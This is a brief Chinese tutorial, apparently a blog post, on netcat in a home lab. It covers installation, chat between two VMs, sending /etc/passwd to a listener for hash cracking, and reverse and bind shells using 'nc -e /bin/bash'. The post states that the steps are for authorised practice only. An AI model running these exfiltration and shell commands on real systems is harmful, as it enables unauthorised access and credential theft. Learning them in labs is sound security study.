nc的安装和简单操作

nc的安装和简单操作
一．下载nc(这里我用的是yum源的下载)
命令: yum install -y nc

二．实现连接通信操作
(我这里用的是两台虚拟机相互通信， 分别是contos 7 x86版 和 kali 2022版，这里可以把contos当作靶机,kali当作客户端)

1.查找kali的ip地址
命令：ifconfig

2.利用nc 打开端口进行监听(这里我打开的是9999端口)
命令：nc -lnvp 9999

这样就说明已经开始监听了。

3.打开contos 7 连接kali
命令：nc 192.168.116.xxx 9999

输入hello world 后回车 然后我们打开kali，再kali中看到监听的结果

三．传输文件内容
1.在客户端（kali）建立一个文件1.txt，用户接受通信
命令：nc -lvp 9999 >1.txt

2.在服务端（contos 7）传送服务端密码
命令：nc 192.168.116.xxx 9999 < /etc/passwd
（如果权限不够，请学习上一篇的漏洞复现，我有讲如何操作）

3.观察客户端是否有文件传输进来
命令：cat 1.txt

那么我们如何确定传输的内容是刚监听到的呢？

4.查看服务端（contos 7中/etc/paaswd文件夹）进行对比。
命令：cat /etc/passwd

小结：通过对比发现，数据是一致的，所以在做渗透测试中，如果你和对方的主机进行了通信，那么你就可以获取文件进行破解，
提升：各位小伙伴可以和我一样开两个虚拟机进行实验，不可以在他人未授权的情况下连接他人主机进行通信。
获取密码也是一样，得到文件后进行哈希破解，在这里就不讲了。

四．获取shell（控制权限）
1.逆向shell
（1）监听端口（kali中输入）
命令：nc -lvp 9999
（2）通过contos连接shell
命令：nc 192.168.116.xxx 9999 -e /bin/bash

（3）Kali中查看是否获得了shell权限

2.正向shell
（1）打开contos的监听
命令：nc -lvp 6666 -e /bin/bash

（2）查看contos的ip
命令：ip -a
这里很简单就不说了
（3）Kali进行连接

在这里我们可以看到连接没有问题，那么其他操作和前面一致.
**

今天就介绍到这

**